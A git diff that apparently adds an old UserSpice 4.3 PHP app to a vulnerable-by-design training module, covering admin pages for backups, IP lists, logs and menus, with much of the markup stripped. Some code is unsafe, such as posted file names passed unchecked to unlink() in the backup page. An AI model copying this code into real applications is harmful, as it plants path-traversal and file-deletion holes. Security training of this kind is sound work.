    + +

    An “entity transaction” is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts.

    + +

    You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it.

    + +

    11. Patents.

    + +

    A “contributor” is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's “contributor version”.

    + +

    A contributor's “essential patent claims” are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, “control” includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License.

    + +

    Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version.

    + +

    In the following three paragraphs, a “patent license” is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To “grant” such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party.

    + +

    If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. “Knowingly relying” means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid.

    + +

    If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it.

    + +

    A patent license is “discriminatory” if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007.

    + +

    Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law.

    + +

    12. No Surrender of Others' Freedom.

    + +

    If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program.

    + +

    13. Use with the GNU Affero General Public License.

    + +

    Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such.

    + +

    14. Revised Versions of this License.

    + +

    The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns.

    + +

    Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License “or any later version” applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation.

    + +

    If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program.

    + +

    Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version.

    + +

    15. Disclaimer of Warranty.

    + +

    THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

    + +

    16. Limitation of Liability.

    + +

    IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES.

    + +

    17. Interpretation of Sections 15 and 16.

    + +

    If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee.

    + +

    END OF TERMS AND CONDITIONS

    + +

    How to Apply These Terms to Your New Programs

    + +

    If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms.

    + +

    To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the “copyright” line and a pointer to where the full notice is found.

    + +
        <one line to give the program's name and a brief idea of what it does.>
    +    Copyright (C) <year>  <name of author>
    +
    +    This program is free software: you can redistribute it and/or modify
    +    it under the terms of the GNU General Public License as published by
    +    the Free Software Foundation, either version 3 of the License, or
    +    (at your option) any later version.
    +
    +    This program is distributed in the hope that it will be useful,
    +    but WITHOUT ANY WARRANTY; without even the implied warranty of
    +    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    +    GNU General Public License for more details.
    +
    +    You should have received a copy of the GNU General Public License
    +    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    +
    + +

    Also add information on how to contact you by electronic and paper mail.

    + +

    If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode:

    + +
        <program>  Copyright (C) <year>  <name of author>
    +    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    +    This is free software, and you are welcome to redistribute it
    +    under certain conditions; type `show c' for details.
    +
    + +

    The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an “about box”.

    + +

    You should also get your employer (if you work as a programmer) or school, +if any, to sign a “copyright disclaimer” for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>.

    + +

    The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>.

    + + + + + + + + +
    + +
    +

     [FSF logo] “Our +mission is to preserve, protect and promote the freedom to use, study, +copy, modify, and redistribute computer software, and to defend the +rights of Free Software users.”

    +
    + +

    The Free Software Foundation is +the principal organizational sponsor of the GNU Operating System. +Support GNU and the FSF by buying manuals and gear, +joining the FSF as an associate member, or making +a donation, either directly to the FSF or via +Flattr.

    + +

    back to top

    + +
    + + + + + + + + + + + +data()->id, $master_account)) {?> + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_backup.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_backup.php new file mode 100644 index 000000000..51c3032b9 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_backup.php @@ -0,0 +1,613 @@ +. +*/ + +/* +Set longer execution time and larger memory limit to deal with large backup sets +*/ +ini_set('max_execution_time', 1356); +ini_set('memory_limit','1024M'); + +require_once 'init.php'; +require_once $abs_us_root.$us_url_root.'users/includes/header.php'; +require_once $abs_us_root.$us_url_root.'users/includes/navigation.php'; + +if (!securePage($_SERVER['PHP_SELF'])){die();} +if(in_array($user->data()->id,$master_account)){ +$settingsQ = $db->query("SELECT * FROM settings"); +$settings = $settingsQ->first(); + +$table_view = $db->query("SHOW TABLES"); +$tablev = $table_view->results(); + +$errors = $successes = []; + +//:: Admin Backup +$lang = array_merge($lang,array( + "AB_SETSAVED" => "Settings Successfully Saved", + "AB_PATHCREATE" => "Destination path created.", + "AB_PATHERROR" => "Destination path could not be created due to unknown error.", + "AB_PATHEXISTED" => "Destination path already existed. Using the existing folder.", + "AB_BACKUPSUCCESS" => "Backup was successful.", + "AB_BACKUPFAIL" => "Backup failed.", + "AB_DB_FILES_ZIP" => "DB & Files Zipped", + "AB_FILE_RENAMED" => "File renamed to: ", + "AB_NOT_RENAME" => "Could not rename backup zip file to contain hash value.", + "AB_ERROR_CREATE" => "Error creating zip file", + "AB_DB_ZIPPED" => "Database Zipped", + "AB_PATHEXIST" => "Backup path already exists or could not be created.", + "AB_T_FILE_ZIP" => "Userspice Files Zipped", + "AB_TABLES_ZIP" => "Tables Zipped", + "AB_BACKUP_DELETE" => "Backup(s) Deleted !", + "AB_PAGENAME" => "System Backup", + "AB_BACKUP_SET" => "Backup Settings", + "AB_BACKUP_DEST" => "Backup Destination", + "AB_BACKUP_DEST_INFO" => "Relative to the z_us_root.php file. Put a / for root.", + "AB_BACKUP_SOURCE" => "Backup Source", + "AB_DB_TM_FILES" => "Database & Userspice Files", + "AB_DB_FILES" => "Database Only", + "AB_TM_FILES" => "Userspice Files Only", + "AB_SINGLE_TBL" => "Single Table", + "AB_SELECT_TBL" => "Select Table", + "AB_DB_TBLS" => "DB Tables", + "AB_SAVE_SETTINGS" => " Save Settings ", + "AB_BACKUP_BTN" => " Backup ", + "AB_EXIST_BACKUP" => "Existing Backups ", + "AB_DATE" => "Date", + "AB_BACKUP_FILE" => "Backup File", + "AB_FILE_SIZE" => "File Size", + "AB_ACTIONS" => "Actions", + "AB_DELETE_B" => " Delete Backup ", + "AB_BACKUP_NOT" => "Backup(s) not deleted !", + "WENT_WRONG" => "Something went wrong", + "AB_DB_ALL_FILES" => "Database & ALL Files (Experimental)", + "AB_SAVE_WARNING" => "Please click Save Settings BEFORE clicking Backup." + )); + +if(isset($_GET['sc1'])){ + $successes[] = lang('AB_SETSAVED'); +} +if(isset($_GET['del'])){ + $successes[] = "deleted backup"; +} +//Forms posted +if(!empty($_POST)) { + if(!empty($_POST['save'])){ + + if($settings->backup_dest != $_POST['backup_dest']) { + $backup_dest = Input::get('backup_dest'); + $fields=array('backup_dest'=>$backup_dest); + $db->update('settings',1,$fields); + logger($user->data()->id,"Setting Change","Changed backup_dest from $settings->backup_dest to $backup_dest."); + } + if($settings->backup_source != $_POST['backup_source']) { + $backup_source = Input::get('backup_source'); + $fields=array('backup_source'=>$backup_source); + $db->update('settings',1,$fields); + logger($user->data()->id,"Setting Change","Changed backup_source from $settings->backup_source to $backup_source."); + } + if($settings->backup_table != $_POST['backup_table']) { + $backup_table = Input::get('backup_table'); + $fields=array('backup_table'=>$backup_table); + $db->update('settings',1,$fields); + logger($user->data()->id,"Setting Change","Changed backup_table from $settings->backup_table to $backup_table."); + } + + Redirect::to('admin_backup.php?sc1=Settings+saved!'); + + } + + if(!empty($_POST['backup'])){ + + //Create backup destination folder: $settings->backup_dest + //$backup_dest = $settings->backup_dest; + $backup_dest = "@".$settings->backup_dest;//::from us v4.2.9a + $backupTable = $settings->backup_table; + + if($settings->backup_source != "db_table") { + $backupSource = $settings->backup_source; + } + elseif($settings->backup_source == "db_table") { + $backupSource = $settings->backup_source.'_'.$backupTable; + } + + $destPath = $abs_us_root.$us_url_root.$backup_dest; + + if(!file_exists($destPath)){ + + if (mkdir($destPath)){ + + $destPathSuccess = true; + $successes[] = lang('AB_PATHCREATE'); + + }else{ + + $destPathSuccess = false; + $errors[] = lang('AB_PATHERROR'); + + } + + }else{ + $successes[] = lang('AB_PATHEXISTED'); + } + + + // Generate backup path + $backupDateTimeString = date("Y-m-d\TH-i-s"); + $backupPath = $abs_us_root.$us_url_root.$backup_dest.'backup_'.$backupSource.'_'.$backupDateTimeString.'/'; + + if(!file_exists($backupPath)){ + + if (mkdir($backupPath)){ + + $backupPathSuccess = true; + + }else{ + + $backupPathSuccess = false; + + } + } + + if($backupPathSuccess) { + + // Since the backup path is just created with a timestamp, + // no need to check if these subfolders exist or if they are writable + mkdir($backupPath.'files'); + mkdir($backupPath.'sql'); + } + + // Backup All Files & Directories In Root and DB + if($backupPathSuccess && $settings->backup_source == 'everything'){ + + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + + if(backupObjects($backupItems,$backupPath.'files/')){ + + $successes[] = lang('AB_BACKUPSUCCESS'); + + }else{ + + $errors[] = lang('AB_BACKUPFAIL'); + + } + + backupUsTables($backupPath); + + $targetZipFile = backupZip($backupPath,true); + + if($targetZipFile){ + + $successes[] = lang('AB_DB_FILES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + + if(rename($targetZipFile,$backupZipHashFilename)){ + + $successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + logger($user->data()->id,"Admin Backup","Completed backup for everything."); + + }else{ + + $errors[] = lang('AB_NOT_RENAME'); + + } + + }else{ + + $errors[] = lang('AB_ERROR_CREATE'); + + } + + } + + + // Backup Terminus files & all db tables + if($backupPathSuccess && $settings->backup_source == 'db_us_files'){ + + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + + if(backupObjects($backupItems,$backupPath.'files/')){ + + $successes[] = lang('AB_BACKUPSUCCESS'); + + }else{ + + $errors[] = lang('AB_BACKUPFAIL'); + + } + + backupUsTables($backupPath); + + $targetZipFile = backupZip($backupPath,true); + + if($targetZipFile){ + + $successes[] = lang('AB_DB_FILES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + + if(rename($targetZipFile,$backupZipHashFilename)){ + + $successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + logger($user->data()->id,"Admin Backup","Completed backup for UserSpice Files & DB."); + + }else{ + + $errors[] = lang('AB_NOT_RENAME'); + + } + + }else{ + + $errors[] = lang('AB_ERROR_CREATE'); + + } + + } + + // Backup all db tables only + if($backupPathSuccess && $settings->backup_source == 'db_only'){ + + backupUsTables($backupPath); + + $targetZipFile = backupZip($backupPath,true); + + if($targetZipFile){ + + $successes[] = lang('AB_DB_ZIPPED'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + + if(rename($targetZipFile,$backupZipHashFilename)){ + + $successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + logger($user->data()->id,"Admin Backup","Completed backup for Database."); + + }else{ + + $errors[] = lang('AB_NOT_RENAME'); + + } + + }else{ + + $errors[] = lang('AB_ERROR_CREATE'); + + } + + }elseif(!$backupPathSuccess){ + + $errors[] = lang('AB_PATHEXIST'); + + }else{ + + // Unknown state? Do nothing. + + } + + // Backup terminus files only + if($backupPathSuccess && $settings->backup_source == 'us_files'){ + + // Generate list of files in ABS_TR_ROOT.TR_URL_ROOT including files starting with . + $backupItems = []; + $backupItems[] = $abs_us_root.$us_url_root.'users'; + $backupItems[] = $abs_us_root.$us_url_root.'usersc'; + + if(backupObjects($backupItems,$backupPath.'files/')){ + + $successes[] = lang('AB_BACKUPSUCCESS'); + + }else{ + + $errors[] = lang('AB_BACKUPFAIL'); + + } + + $targetZipFile = backupZip($backupPath,true); + + if($targetZipFile){ + + $successes[] = lang('AB_T_FILE_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + + if(rename($targetZipFile,$backupZipHashFilename)){ + + $successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + logger($user->data()->id,"Admin Backup","Completed backup for UserSpice Files."); + + }else{ + + $errors[] = lang('AB_NOT_RENAME'); + + } + + }else{ + + $errors[] = lang('AB_ERROR_CREATE'); + + } + + + } + + // Backup single db table only + if($backupPathSuccess && $settings->backup_source == 'db_table'){ + + backupUsTable($backupPath); + + $targetZipFile = backupZip($backupPath,true); + + if($targetZipFile){ + + $successes[] = lang('AB_TABLES_ZIP'); + $backupZipHash = hash_file('sha1', $targetZipFile); + $backupZipHashFilename = substr($targetZipFile,0,strlen($targetZipFile)-4).'_SHA1_'.$backupZipHash.'.zip'; + + if(rename($targetZipFile,$backupZipHashFilename)){ + + $successes[] = lang('AB_FILE_RENAMED').$backupZipHashFilename; + logger($user->data()->id,"Admin Backup","Completed backup for $settings->backup_table table."); + + }else{ + + $errors[] = lang('AB_NOT_RENAME'); + + } + + }else{ + + $errors[] = lang('AB_ERROR_CREATE'); + + } + + } + + + } + + //Delete backup + if(!empty($_POST['deleteFile'])){ + + $deletions = $_POST['delete']; + $backup_dest = "@".$settings->backup_dest;//::from 4.2.9a + $count = 0; + foreach($deletions as $delete) { + if(!unlink($abs_us_root.$us_url_root.$backup_dest.$delete)) { + $errors[] = lang('AB_BACKUP_NOT'); + }else{ + // $successes[] = lang('AB_BACKUP_DELETE'); //This makes a note for every deletion, uncomment this if you want that + logger($user->data()->id,"Admin Backup","Deleted backup $delete."); + + } + $count++; + } + if($count==1) $successes[] = "$count Backup Deleted"; + if($count > 1) $successes[] = "$count Backups Deleted"; + } +} +$backup_dest = "@".$settings->backup_dest;//::from 4.2.9a +// Get array of existing backup zip files +$allBackupFiles = glob($abs_us_root.$us_url_root.$backup_dest.'backup*.zip'); +$allBackupFilesSize = []; +foreach($allBackupFiles as $backupFile){ + $allBackupFilesSize[] = size($backupFile); +} +$pagename = lang('AB_PAGENAME'); +?> +
    + +
    + + +
    + + + +
    + + +

    + + + +
    + + +
    + + +
    + + +
    + +
    + + + + +
    + + + +
    + + + +
    + +
    + + backup_source =='db_table') { ?> + + + +
    + + +
    + +
    + +
    + + + +
    + +
    +

    + + + + +
    + + +
    + +
    + + + +
    +
    + + +

    + + + +
    + +
    " method="post"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + 1) {?> +
    + + + +
    + +

    + +
    + +
    + + + +
    + +
    + + +
    + +

    + + + + +
    +
    + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_ips.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_ips.php new file mode 100644 index 000000000..b0e21a598 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_ips.php @@ -0,0 +1,174 @@ +. +*/ +?> + + + + + +query("SELECT * FROM us_ip_whitelist")->results(); +$bl = $db->query("SELECT * FROM us_ip_blacklist")->results(); +if(!empty($_POST)){ +if(!empty($_POST['newIP'])){ +$ip = Input::get('ip'); +$wl = Input::get('type'); +if(filter_var($ip, FILTER_VALIDATE_IP)){ +if($wl == 'whitelist'){ + logger($user->data()->id,"Setting Change","Whitelisted ".$ip); + $db->insert('us_ip_whitelist',['ip'=>$ip]); + Redirect::to('admin_ips.php?err=New+IP+Whitelisted'); +}else{ + logger($user->data()->id,"Setting Change","Blacklisted ".$ip); + $db->insert('us_ip_blacklist',['ip'=>$ip]); + Redirect::to('admin_ips.php?err=New+IP+Blacklisted'); +} +}else{ + Redirect::to('admin_ips.php?err=Invalid+IP+address'); +} +} + +if(!empty($_POST['delete'])){ + foreach($_POST['deletewhite'] as $k=>$v){ + $ip = $db->query("SELECT ip FROM us_ip_whitelist WHERE id = ?",array($v))->first(); + logger($user->data()->id,"Setting Change","Deleted ".$ip->ip." from whitelist"); + $db->deleteById('us_ip_whitelist',$v); + } + foreach($_POST['deleteblack'] as $k=>$v){ + $ip = $db->query("SELECT ip FROM us_ip_blacklist WHERE id = ?",array($v))->first(); + logger($user->data()->id,"Setting Change","Deleted ".$ip->ip." from blacklist"); + $db->deleteById('us_ip_blacklist',$v); + } + Redirect::to('admin_ips.php?err=IP(s) Deleted'); +} + + + +} + + ?> +
    + +
    + + + +
    + +
    +

    Manage IP Addresses

    +

    Note: Whitelist overrides Blacklist

    +
    +
    +
    + + + + + + + + + + + + + + +
    IPWhitelistBlacklistSubmit
    +
    +
    + +
    +
    + +
    +
    +

    Whitelisted IP Addresses

    + + + + + + + + + + + + + + + + +
    IP AddressDelete
    ip?>
    +
    + +
    +

    Blacklisted IP Addresses

    + + + + + + + + + + + + + + + + +
    IP AddressReasonLast UserDelete
    ip?>reason);?>last_user);?>
    +
    +
    + +
    +
    + + + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs.php new file mode 100644 index 000000000..b4a5115fb --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs.php @@ -0,0 +1,199 @@ +. +*/ +?> + + + + +data()->id; +$userdetails = fetchUserDetails(NULL, NULL, $get_info_id); +//Errors Successes +$errors = []; +$successes = []; + //Forms posted +if(!empty($_POST)) { + $post_user_id = Input::get('post_user_id'); + $post_type = Input::get('post_type'); + if(!empty($post_user_id)) { + Redirect::to('admin_logs.php?user_id='.$post_user_id); + } + elseif(!empty($post_type)) { + Redirect::to('admin_logs.php?type='.$post_type); + } + else { + Redirect::to('admin_logs.php'); } + } + +$user_id = Input::get('user_id'); +$type = Input::get('type'); +if(!empty($user_id)) { + $countQ = $db->query("SELECT * FROM logs WHERE user_id = ?",array($user_id)); + $other = "&user_id=$user_id"; +} +elseif(!empty($type)) { + $countQ = $db->query("SELECT * FROM logs WHERE logtype = ?",array($type)); + $other = "&type=$type"; +} +else { + $countQ = $db->query("SELECT * FROM logs WHERE logtype NOT IN (SELECT name FROM logs_exempt)"); + $other = ""; +} +if(!empty($user_id)) { + $fuQ = $db->query("SELECT * FROM logs WHERE user_id = ? ORDER BY logdate DESC, id DESC",array($user_id)); +} +elseif(!empty($type)) { + $fuQ = $db->query("SELECT * FROM logs WHERE logtype = ? ORDER BY logdate DESC, id DESC LIMIT",array($type)); +} +else { + $fuQ = $db->query("SELECT * FROM logs WHERE logtype NOT IN (SELECT name FROM logs_exempt) ORDER BY logdate DESC, id DESC"); +} +$fuCount = $fuQ->count(); +?> +
    +
    +
    +
    +

    System Logs + + + +

    + +
    + + + + + + results() as $row){ ?> + + + + + + + + + +
    +
    +
    + + + + + + +
    + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_exempt.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_exempt.php new file mode 100644 index 000000000..263c2607e --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_exempt.php @@ -0,0 +1,19 @@ +query("DELETE FROM logs_exempt WHERE name = ?",array($pk)); + $logtype=("Log Manager"); + $lognote=("Deleted exemption for $pk."); + logger($user->data()->id,$logtype,$lognote); } +if($value==1) { + $fields = array('name' => $pk, 'createdby' => $user->data()->id,'created' => date("Y-m-d H:i:s")); + $db->insert('logs_exempt',$fields); + $logtype=("Log Manager"); + $lognote=("Added Exemption for $pk."); + logger($user->data()->id,$logtype,$lognote); } + ?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_manager.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_manager.php new file mode 100644 index 000000000..e60e18040 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_manager.php @@ -0,0 +1,188 @@ +. +*/ +?> + + + +check($_POST,array( + 'name' => array( + 'display' => 'Type', + 'required' => true, + 'min' => 2, + 'max' => 255, + ), + )); + if($validation->passed()) { + $form_valid=TRUE; + try { + $fields=array( + 'name' => Input::get('name'), + 'createdby' => $user->data()->id, + 'created' => date("Y-m-d H:i:s") + ); + $db->insert('logs_exempt',$fields); + + $logname=("System"); + $lognote=("Added Log Type Exemption for $name"); + logger($user->data()->id,$logname,$lognote); + $successes[] = lang("ADDED_LOG"); + + } catch (Exception $e) { + die($e->getMessage()); + } + + } +} } +$query = $db->query("SELECT *,COUNT(*) AS count FROM logs GROUP BY logtype ORDER BY count DESC,logtype"); +$count = $query->count(); +?> + +
    +
    + +
    +
    + +

    Logs Manager

    +
    +
    +
    + + + + + + + + + 0) + { + foreach ($query->results() as $row){ ?> + + + + query("SELECT name FROM logs_exempt WHERE name = ?",array($row->logtype)); + if($exempt->count() > 0) $exp = 1; + else $exp = 0; ?> + + + + + +
    Log Type
    Count
    Exempted?
    Mapper Function
    logtype;?>
    count;?>
    count() > 0) {?>Yes No
    Map
    No Logs
    +
    +
    +
    +
    + + + +
    +
    +
    + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_mapper.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_mapper.php new file mode 100644 index 000000000..8615c54fd --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_mapper.php @@ -0,0 +1,14 @@ +query("UPDATE logs SET logtype = ? WHERE logtype = ?",array($value,$pk)); + $logtype=("Log Manager"); + $lognote=("Mapped $pk to $value."); + logger($user->data()->id,$logtype,$lognote); } + ?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu.php new file mode 100644 index 000000000..14e4ccefe --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu.php @@ -0,0 +1,186 @@ + + + + + +$menu_title,'parent'=>'-1','dropdown'=>'1','logged_in'=>'1','display_order'=>'99999','label'=>'New Dropdown','link'=>'#','icon_class'=>''); + $db->insert('menus',$fields); + logger($user->data()->id,"Menu Manager","Added new dropdown"); + } elseif ($action=='newItem') { + /* + Inserts default "item" entry + */ + $fields=array('menu_title'=>$menu_title,'parent'=>'-1','dropdown'=>'0','logged_in'=>'1','display_order'=>'99999','label'=>'New Item','link'=>'#','icon_class'=>''); + $db->insert('menus',$fields); + logger($user->data()->id,"Menu Manager","Added new item"); + } elseif ($action=='delete' && isset($_GET['id'])) { + $itemId=Input::get('id'); + if (is_numeric($itemId)) { + $db->deleteById('menus',$itemId); + logger($user->data()->id,"Menu Manager","Deleted menu $itemId"); + Redirect::to('admin_menu.php?menu_title='.$menu_title); + } + else { + Redirect::to('admin_menu.php?menu_title='.$menu_title.'&err=This+menu+item+does+not+exist.'); + } + } else { + Redirect::to('admin_menu.php?menu_title='.$menu_title); + } + } + /* + Query requested menu_title + */ + $menu_item_results = $db->query("SELECT * FROM menus WHERE menu_title=? ORDER BY display_order",[$menu_title]); + $menu_items = $menu_item_results->results(); +} + +if (!$menu_items) { + //Redirect::to('admin_menus.php?err=This+menu+does+not+exist.'); +} + +/* +Make indented tree +*/ +$indentedMenuItems=prepareIndentedMenuTree($menu_item_results->results(true)); +//dump($indentedMenuItems); +/* +$menu_items will contain array of associative arrays +*/ +$menu_items_array=$indentedMenuItems; + +/* +foreach below will loop through array and build array of objects from the associative arrays +*/ +$menu_items=[]; +foreach ($menu_items_array as $menu_item) { + $menu_items[]=(object)$menu_item; +} + +/* +Grab all records which are marked as dropdowns/parents +*/ +$parent_results = $db->query("SELECT * FROM menus WHERE menu_title=? AND dropdown=1",[$menu_title]); +$parents = $parent_results->results(); +$parentsSelect[-1]='No Parent'; +foreach ($parents as $parent) { + $parentsSelect[$parent->id]=$parent->label; +} + +/* +Get groups and names +*/ +// $allGroups = fetchAllGroups(); +// 